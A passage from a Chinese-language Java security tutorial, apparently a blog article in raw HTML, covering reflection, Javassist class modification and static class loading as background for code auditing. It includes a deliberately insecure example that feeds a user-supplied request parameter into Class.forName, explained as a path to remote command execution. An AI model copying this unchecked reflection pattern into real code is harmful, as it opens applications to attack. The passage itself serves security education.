0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">对此， Oracle 官方有着相关解释：</span></p><blockquote cid="n196" mdtype="blockquote" style="margin-top: 0.8em;margin-bottom: 0.8em;padding: 10px 15px;border-left-width: 4px;border-left-color: rgb(239, 112, 96);color: rgb(63, 63, 63);white-space: normal;box-sizing: border-box;background-color: rgb(255, 249, 249);"><p cid="n197" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">“Reflection enables Java code to discover information about the</span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="plain" style="box-sizing: border-box;">fields, methods and constructors of loaded classes, and to use</span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="plain" style="box-sizing: border-box;">reflected fields, methods, and constructors to operate on their</span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="plain" style="box-sizing: border-box;">underlying counterparts, within security restrictions.”</span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="plain" style="box-sizing: border-box;">（反射使Java代码能够发现有关已加载类的字段、方法和构造函数的信息，并在安全限制内使用反射的字段、方法和构造函数对其底层对应的对象进行操作。）</span></p></blockquote><p cid="n198" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">简单来说，通过反射，我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。同样的，JAVA的反射机制也是如此，在运行状态中，通过 Java 的反射机制，对于任意一个类，我们都能够判断一个对象所属的类；对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。</span></p><p cid="n199" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">既然利用Java的反射机制，我们可以无视类方法、变量访问权限修饰符，可以调用任何类的任意方法、访问并修改成员变量值，那么这可能导致安全问题，如果一个攻击者能够通过应用程序创建意外的控制流路径，那么就有可能绕过安全检查发起相关攻击。假设有段代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">  String name = request.getParameter(<span class="code-snippet__string">&#34;name&#34;</span>);</span></code><code><span class="code-snippet_outer">  Command command = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">if</span> (name.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;Delect&#34;</span>)) {</span></code><code><span class="code-snippet_outer">     command = <span class="code-snippet__keyword">new</span> DelectCommand();</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (ctl.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;Add&#34;</span>)) {</span></code><code><span class="code-snippet_outer">     command = <span class="code-snippet__keyword">new</span> AddCommand();</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">   ...</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  command.doAction(request);</span></code></pre></section><p cid="n199" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">存在一个字段为name，当获取用户请求的name字段后进行判断，如果请求的是 Delect 操作，则执行DelectCommand 函数，若执行的是 Add 操作，则执行 AddCommand 函数，如果不是这两种操作，则执行其他代码。</span></p><p cid="n202" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">此时，假如有位开发者看到了这段代码，他觉得可以使用Java 的反射来重构此代码以减少代码行，如下所示：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">String</span> name = request.getParameter(<span class="code-snippet__string">&#34;name&#34;</span>);</span></code><code><span class="code-snippet_outer">  Class ComandClass = Class.forName(name + <span class="code-snippet__string">&#34;Command&#34;</span>);</span></code><code><span class="code-snippet_outer">  Command command = (Command) CommandClass.newInstance();</span></code><code><span class="code-snippet_outer">  command.doAction(request);</span></code></pre></section><p cid="n202" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这样的重构看起来使得代码行减少，消除了if/else块，而且可以在不修改命令分派器的情况下添加新的命令类型，但是如果没有对传入进来的name字段进行限制，那么我们就能实例化实现Command接口的任何对象，从而导致安全问题。</span><span style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">实际上，攻击者甚至不局限于本例中的Command接口对象，而是使用任何其他对象来实现，如调用系统中任何对象的默认构造函数，再如调用Runtime对象去执行系统命令，这就可能导致远程命令执行漏洞。</span></p><p cid="n205" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">更多关于反射的内容具体可以参考我以前写的这篇文章：</span></p><p cid="n205" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.cnpanda.net/codeaudit/705.html" target="_blank">https://www.cnpanda.net/codeaudit/705.html</a></span></p><h3 cid="n206" mdtype="heading" style="margin: 1.6em auto 1.2em;padding-left: 9px;font-weight: bold;font-size: 1.4em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;border-left: 5px solid rgb(242, 47, 39);white-space: pre-wrap;width: inherit;"><span md-inline="plain" style="box-sizing: border-box;">2、javassist 动态修改类</span></h3><p cid="n207" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">Javaassist 就是一个用来处理 Java 字节码的类库，其主要优点在于简单、便捷。用户不需要了解虚拟机指令，就可以直接使用Java编码的形式，并且可以动态改变类的结构，或者动态生成类。</span></p><p cid="n208" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">Javassist中最为重要的是ClassPool，CtClass ，CtMethod 以及 CtField这几个类。</span></p><ul class="list-paddingleft-2" cid="n209" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;width: 577.422px;white-space: normal;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n211" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">ClassPool：一个基于HashMap实现的CtClass对象容器，其中键是类名称，值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径，因此在某些情况下，可能需要向ClassPool添加类路径或类字节。</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n213" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">CtClass：表示一个类，这些 CtClass 对象可以从ClassPool获得。</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n215" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">CtMethods：表示类中的方法。</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n217" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">CtFields ：表示类中的字段。</span></p><p cid="n218" mdtype="paragraph" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">Javassit官方文档中给出的代码示例如下</span></p></li></ul><p style="white-space: normal;text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2963917525773196" data-s="300,640" data-w="776" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8707f4c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559Dic52uyqKuLEYfuWSP6K7XgsLVaj9qjzg292jRnhyWFvk9EmCzZzhwBw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n220" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">  首先获取 ClassPool 的实例，ClassPool 主要用来修改字节码，并且在 ClassPool 中存储着 CtClass 对象，它能够按需创建出 CtClass 对象并提供给后续处理流程使用，当需要进行类修改操作的时候，可以通过 ClassPool 实例的.get()方法，获取CtClass对象。如在上述代码中就是从 pool 中利用 get 方法获取到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">test.Rectangle</code><span md-inline="plain" style="box-sizing: border-box;">对象，然后将获取到的 CtClass 对象赋值给cc变量。</span></span></p><p cid="n221" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">  需要注意的是，从 ClassPool 中获取的 CtClass 对象，是可以被修改的。如在上述代码中，可以看到，原先的父类，由</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">test.Rectangle</code><span md-inline="plain" style="box-sizing: border-box;">被改成了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">test.Point</code><span md-inline="plain" style="box-sizing: border-box;">。这种更改可以通过调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">CtClass().writeFile()</code><span md-inline="plain" style="box-sizing: border-box;">将其持久化到文件中。</span></span></span></span></p><p cid="n222" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">  可以举个实例来看看，如下代码：</span><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;">  运行后，就会生成名为</span><span md-inline="code" spellcheck="false" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">Test.class</code><span md-inline="plain" style="box-sizing: border-box;">的文件，如下图所示：</span></span></p><p cid="n224" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><br/></p><p style="white-space: normal;text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4608" data-s="300,640" data-w="1250" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=287ed7d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DKFEQNCmaykTz7lTSQiaKysYvdKnNTla1nV9KaicHevIg4UeuVG1rNUOg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n226" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">  实际上如果反编译该 class 文件，可以得到以下内容：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Test</span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> String test = <span class="code-snippet__string">&#34;test&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Test</span>(<span class="code-snippet__params"></span>)</span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.test = <span class="code-snippet__string">&#34;whoami&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n226" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">  这就是动态修改类的一些知识了。</span></p><p cid="n229" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">  更具体的可以参考这位老哥写的文章：</span></p><p cid="n229" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.cnblogs.com/scy251147/p/11100961.html" target="_blank">https://www.cnblogs.com/scy251147/p/11100961.html</a></span></p><h3 cid="n230" mdtype="heading" style="margin: 1.6em auto 1.2em;padding-left: 9px;font-weight: bold;font-size: 1.4em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;border-left: 5px solid rgb(242, 47, 39);white-space: pre-wrap;width: inherit;"><span md-inline="plain" style="box-sizing: border-box;">3、Java 静态类加载</span></h3><p cid="n231" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">java 静态类加载属于类加载的一种，类加载即是指</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">JVM</code><span md-inline="plain" style="box-sizing: border-box;">虚拟机把</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">.class</code><span md-inline="plain" style="box-sizing: border-box;">文件中类信息加载进内存，并进行解析生成对应的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">class</code><span md-inline="plain" style="box-sizing: border-box;">对象的过程，举个通俗点的例子来说，JVM在执行某段代码时，遇到了class A， 然而此时内存中并没有class A 的相关信息，于是 JVM 就会到相应的 class 文件中去寻 找class A的类信息，并加载进内存中，这就是我们所说的类加载过程。</span></span></span></span></p><p cid="n232" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">由此可见，JVM不是一开始就把所有的类都加载进内存中，而是只有第一次遇到某个需要运行的类时才会加载，且只加载一次。</span></p><p cid="n233" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">类加载的过程主要分为三个部分：加载、链接、初始化，而链接又可以细分为三个小部分：验证、准备、解析。</span></p><p cid="n234" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="padding: 0.1em;box-sizing: border-box;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">加载</span></strong><span md-inline="plain" style="box-sizing: border-box;">阶段，JVM 将 class 文件字节码内容通过类加载器加载到内存中，并将这些静态数据转换成方法区的运行时数据结构，然后生成一个代表这个类的 java.lang.Class 对象；在</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="padding: 0.1em;box-sizing: border-box;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">链接</span></strong><span md-inline="plain" style="box-sizing: border-box;">阶段，主要是将 Java 类的二进制代码合并到 JVM 的运行状态之中，在</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="padding: 0.1em;box-sizing: border-box;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">初始化</span></strong><span md-inline="plain" style="box-sizing: border-box;">阶段，主要是对类变量初始化，是执行类构造器的过程。换句话说，只对static修饰的变量或语句进行初始化。如果初始化一个类的时候，其父类尚未初始化，则优先初始化其父类。如果同时包含多个静态变量和静态代码块，则按照自上而下的顺序依次执行。java 静态类加载就是在这个阶段执行的，也就是说 java 静态类加载早于其他类加载。</span></span></span></span></p><p cid="n235" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">那么什么时候会发生类初始化呢？</span></p><p cid="n236" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">主要是</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="padding: 0.1em;box-sizing: border-box;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">类的主动引用（一定会发生类的初始化）</span></strong><span md-inline="plain" style="box-sizing: border-box;">，类的主动引用主要指以下情形：</span></span></p><ul class="list-paddingleft-2" cid="n237" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;width: 577.422px;white-space: normal;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n239" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">虚拟机启动时，先初始化 main 方法所在的类</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n241" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">new 一个类的对象</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n243" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">调用类的静态成员（除了 final 常量）和静态方法</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n245" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">java.lang.refect</code><span md-inline="plain" style="box-sizing: border-box;">包的方法对类进行反射调用</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n247" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">当初始化一个类，如果其父类没有被初始化，那么会初始化他的父类</span></p></li></ul><p cid="n248" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">关于类加载，可以参考这个【</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">Class.forName()</code><span md-inline="plain" style="box-sizing: border-box;"> 与</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="padding: 2px 4px;box-sizing: border-box;text-align: left;border-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;">ClassLoader.loadClass()</code><span md-inline="plain" style="box-sizing: border-box;"> - 哪个用于动态加载？】：</span></span></span></p><p cid="n248" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading/8100407#8100407" target="_blank">https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading/8100407#8100407</a></span></span></p><p cid="n249" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">很有趣的一个讨论</span></p><h3 cid="n250" 